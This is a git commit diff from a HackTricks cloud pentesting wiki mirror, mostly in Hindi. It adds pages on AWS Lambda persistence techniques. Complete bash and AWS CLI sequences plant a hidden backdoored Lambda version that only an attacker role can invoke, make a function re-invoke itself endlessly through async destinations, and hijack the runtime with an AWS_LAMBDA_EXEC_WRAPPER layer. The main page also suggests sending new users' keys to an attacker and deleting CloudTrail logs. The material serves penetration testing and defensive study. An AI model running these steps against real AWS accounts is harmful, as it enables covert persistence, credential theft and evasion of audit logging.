mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 21:23:07 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Lambda स्थायी पहुँच
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda Layer Persistence
|
||||
### Lambda Layer परसिस्टेंस
|
||||
|
||||
यह **कोई भी कोड निष्पादित करने के लिए एक लेयर को पेश/backdoor करना** संभव है जब लैम्ब्डा को एक गुप्त तरीके से निष्पादित किया जाता है:
|
||||
यह संभव है कि आप किसी layer को **introduce/backdoor करके arbitrary code execute करने** के लिए सेट कर सकें जब Lambda stealthy तरीके से executed हो:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,45 +20,72 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layers का दुरुपयोग करते हुए, यह एक्सटेंशन का भी दुरुपयोग करना संभव है और लैम्ब्डा में स्थायी रहना, लेकिन अनुरोधों को चुराना और संशोधित करना भी संभव है।
|
||||
Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर के lambda में persist करना संभव है और साथ ही requests को steal और modify भी किया जा सकता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### Resource policies के माध्यम से
|
||||
|
||||
यह बाहरी खातों को विभिन्न लैम्ब्डा क्रियाओं (जैसे invoke या update code) तक पहुंच प्रदान करना संभव है:
|
||||
यह संभव है कि आप अलग-अलग lambda actions (जैसे invoke या update code) के लिए एक्सेस बाहरी खातों को दे सकें:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
एक Lambda में **विभिन्न संस्करण** हो सकते हैं (प्रत्येक संस्करण के साथ अलग कोड)।\
|
||||
फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम** बना सकते हैं और प्रत्येक को विभिन्न वजन सेट कर सकते हैं।\
|
||||
इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह गुप्त रह सके।
|
||||
एक Lambda के पास **different versions** हो सकते हैं (हर version में अलग code हो सकता है).\
|
||||
फिर, आप Lambda के अलग-अलग versions के लिए **different aliases** बना सकते हैं और हर alias को अलग weight दे सकते हैं.\
|
||||
इस तरह attacker एक **backdoored version 1** बना सकता है और **version 2 जिसमें सिर्फ legit code हो**, और केवल अनुरोधों के 1% में ही **version 1 को execute** करके stealth बनाए रख सकता है.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambda का मूल कोड कॉपी करें
|
||||
2. **मूल कोड (या केवल दुर्भावनापूर्ण कोड) को बैकडोर करते हुए एक नया संस्करण बनाएं**। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
|
||||
1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें
|
||||
3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**।
|
||||
1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा
|
||||
4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. अंतिम :1 को नोट करें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
|
||||
5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें
|
||||
6. अब, जब आप **POST के माध्यम से कार्य को कॉल करते हैं, तो आपका बैकडोर** सक्रिय होगा
|
||||
1. Lambda का original code copy करें
|
||||
2. **original code में नई version backdooring बनाएँ** (या सिर्फ malicious code के साथ). Publish करें और उस version को $LATEST पर **deploy** करें
|
||||
1. Lambda से जुड़े API gateway को कॉल करके code execute करें
|
||||
3. **original code के साथ एक नई version बनाएं**, Publish करें और उस **version** को $LATEST पर deploy करें.
|
||||
1. यह backdoored code को previous version में छिपा देगा
|
||||
4. API Gateway पर जाएँ और **create a new POST method** (या कोई और method चुनें) जो lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. ARN के अंत में मौजूद :1 पर ध्यान दें जो **function का version दर्शाता है** (इस scenario में version 1 backdoored होगा).
|
||||
5. बने हुए POST method को select करें और Actions में **`Deploy API`** चुनें
|
||||
6. अब, जब आप POST के माध्यम से function को कॉल करेंगे तो आपका Backdoor invoke होगा
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
यह तथ्य कि आप **जब कुछ होता है या जब कुछ समय बीतता है तब लैम्ब्डा कार्यों को चलाने** के लिए बना सकते हैं, लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
|
||||
यहां आपके **AWS में अधिक गुप्तता से रहने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
|
||||
यह कि आप **lambda functions को किसी घटना होने पर या समय के आधार पर चलवा सकते हैं** Lambda को persistence प्राप्त करने और detection से बचने का एक आसान और आम तरीका बनाता है.\
|
||||
यहाँ कुछ विचार दिए गए हैं ताकि आप AWS में अपनी **presence को अधिक stealthy बनाने के लिए lambdas** बना सकें.
|
||||
|
||||
- हर बार जब नया user बनाया जाता है, lambda एक नया user key generate करता है और attacker को भेज देता है.
|
||||
- हर बार जब नया role बनाया जाता है, lambda compromised users को assume role permissions दे देता है.
|
||||
- हर बार जब नए cloudtrail logs उत्पन्न होते हैं, उन्हें delete/alter कर दें
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Environment variable `AWS_LAMBDA_EXEC_WRAPPER` का दुरुपयोग करके runtime/handler शुरू होने से पहले attacker-controlled wrapper script चलाया जा सकता है. Wrapper को एक Lambda Layer के माध्यम से `/opt/bin/htwrap` पर deliver करें, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` सेट करें, और फिर function invoke करें. Wrapper function runtime process के अंदर चलता है, function execution role को inherit करता है, और अंत में `exec`s असली runtime को ताकि original handler सामान्य रूप से execute हो सके।
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Lambda asynchronous destinations और Recursion configuration का दुरुपयोग करके आप एक function को बिना किसी external scheduler (जैसे EventBridge, cron, आदि) के लगातार खुद को re-invoke करवा सकते हैं. डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे पुनः सक्षम हो जाते हैं. Destinations async invokes के लिए सर्विस-साइड पर delivery करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor चैनल बना देता है. शोर कम रखने के लिए reserved concurrency से optional throttle कर सकते हैं.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
एक hidden Lambda version बनाएं जिसमें attacker logic हो और `lambda add-permission` में `--qualifier` parameter का उपयोग करके resource-based policy को उस specific version (या alias) तक scope करें. Attacker principal को केवल `lambda:InvokeFunction` पर `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` की अनुमति दें. Function name या primary alias के माध्यम से सामान्य invocations अप्रभावित रहते हैं, जबकि attacker सीधे backdoored version का ARN invoke कर सकता है.
|
||||
|
||||
यह Function URL को expose करने की तुलना में अधिक stealthy है और primary traffic alias को बदलता नहीं है.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है।
|
||||
- हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है।
|
||||
- हर बार जब नए क्लाउडट्रेल लॉग उत्पन्न होते हैं, तो उन्हें हटा दें/संशोधित करें
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## सारांश
|
||||
|
||||
हमलावर लॉजिक के साथ एक छुपी हुई Lambda version बनाएं और `lambda add-permission` में `--qualifier` पैरामीटर का उपयोग करके resource-based policy को उस विशिष्ट version (या alias) तक सीमित करें। केवल `lambda:InvokeFunction` को `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` पर एक हमलावर principal को दें। फ़ंक्शन नाम या मुख्य alias के माध्यम से सामान्य invocations अप्रभावित रहते हैं, जबकि हमलावर सीधे backdoored version ARN को invoke कर सकता है।
|
||||
|
||||
यह Function URL को एक्सपोज़ करने की तुलना में अधिक stealthier है और प्राथमिक ट्रैफिक alias को बदलता नहीं है।
|
||||
|
||||
## आवश्यक अनुमतियाँ (हमलावर)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (हमलावर principal का अनुकरण करने के लिए)
|
||||
|
||||
## हमले के चरण (CLI)
|
||||
|
||||
<details>
|
||||
<summary>छुपा हुआ version प्रकाशित करें, qualifier-स्कोप्ड permission जोड़ें, हमलावर के रूप में invoke करें</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## प्रभाव
|
||||
|
||||
- एक stealthy backdoor प्रदान करता है जो primary alias को संशोधित किए बिना या Function URL को उजागर किए बिना फ़ंक्शन के छिपे हुए version को invoke करने की अनुमति देता है।
|
||||
- resource-based policy `Qualifier` के माध्यम से exposure को केवल निर्दिष्ट version/alias तक सीमित करता है, जिससे detection surface घटती है जबकि attacker principal के लिए reliable invocation बरकरार रहती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous destinations को Recursion configuration के साथ मिलाकर एक function को बिना किसी external scheduler (no EventBridge, cron, etc.) के लगातार खुद को re-invoke करने के लिए मजबूर करें। By default, Lambda recursive loops को terminate कर देता है, लेकिन Recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations service side पर async invokes के लिए deliver करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor channel बना देता है। Optionally reserved concurrency के साथ throttle करके noise कम रखें।
|
||||
|
||||
Notes
|
||||
- Lambda सीधे किसी function को उसका अपना destination सेट करने की अनुमति नहीं देता। destination के रूप में एक function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और Recursion config को पढ़ने/अपडेट करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को अपडेट करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
|
||||
1) फ़ंक्शन ARN और वर्तमान Recursion सेटिंग प्राप्त करें
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) एक version प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) function execution role को alias invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination को alias पर कॉन्फ़िगर करें (self via alias) और retries अक्षम करें
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) पुनरावर्ती लूपों की अनुमति दें
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) एक एकल asynchronous invoke आरंभ करें
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) निरंतर invocations का निरीक्षण (उदाहरण)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) वैकल्पिक stealth थ्रॉटल
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## साफ़-सफाई
|
||||
लूप को तोड़ें और persistence हटाएं।
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## प्रभाव
|
||||
- एकल async invoke बिना किसी external scheduler के Lambda को लगातार स्वयं को फिर से कॉल करने के लिए प्रेरित करता है, जिससे छिपा हुआ persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एकल warm execution तक सीमित कर सकता है।
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## सारांश
|
||||
|
||||
`AWS_LAMBDA_EXEC_WRAPPER` environment variable का दुरुपयोग करें ताकि runtime/handler शुरू होने से पहले हमलावर-नियंत्रित wrapper script चल सके। Wrapper को एक Lambda Layer में `/opt/bin/htwrap` पर वितरित करें, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` सेट करें, और फिर function को invoke करें। Wrapper function के runtime process के अंदर चलता है, function execution role को inherit करता है, और अंत में वास्तविक runtime को `exec` करके मूल handler सामान्य रूप से चलता रहे ऐसा सुनिश्चित करता है।
|
||||
|
||||
> [!WARNING]
|
||||
> यह तकनीक लक्षित Lambda में code execution देती है बिना उसके source code या role को बदले और बिना `iam:PassRole` की आवश्यकता के। आपको केवल function configuration अपडेट करने और एक layer प्रकाशित/जोड़ने की क्षमता चाहिए।
|
||||
|
||||
## आवश्यक अनुमतियाँ (attacker)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction` (or trigger via existing event)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
|
||||
|
||||
## Wrapper Script
|
||||
|
||||
Wrapper को layer में `/opt/bin/htwrap` पर रखें। यह pre-handler logic चला सकता है और वास्तविक runtime से चेन करने के लिए अंत में `exec "$@"` होना चाहिए।
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## हमले के चरण (CLI)
|
||||
|
||||
<details>
|
||||
<summary>लेयर प्रकाशित करें, लक्षित फ़ंक्शन से जोड़ें, wrapper सेट करें, invoke करें</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## प्रभाव
|
||||
|
||||
- फ़ंक्शन के मौजूदा execution role का उपयोग करते हुए Lambda runtime संदर्भ में handler से पहले कोड निष्पादन।
|
||||
- फ़ंक्शन कोड या role में कोई परिवर्तन आवश्यक नहीं; सामान्य managed runtimes (Python, Node.js, Java, .NET) पर काम करता है।
|
||||
- handler चलने से पहले persistence, credential access (e.g., STS), data exfiltration और runtime tampering सक्षम करता है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user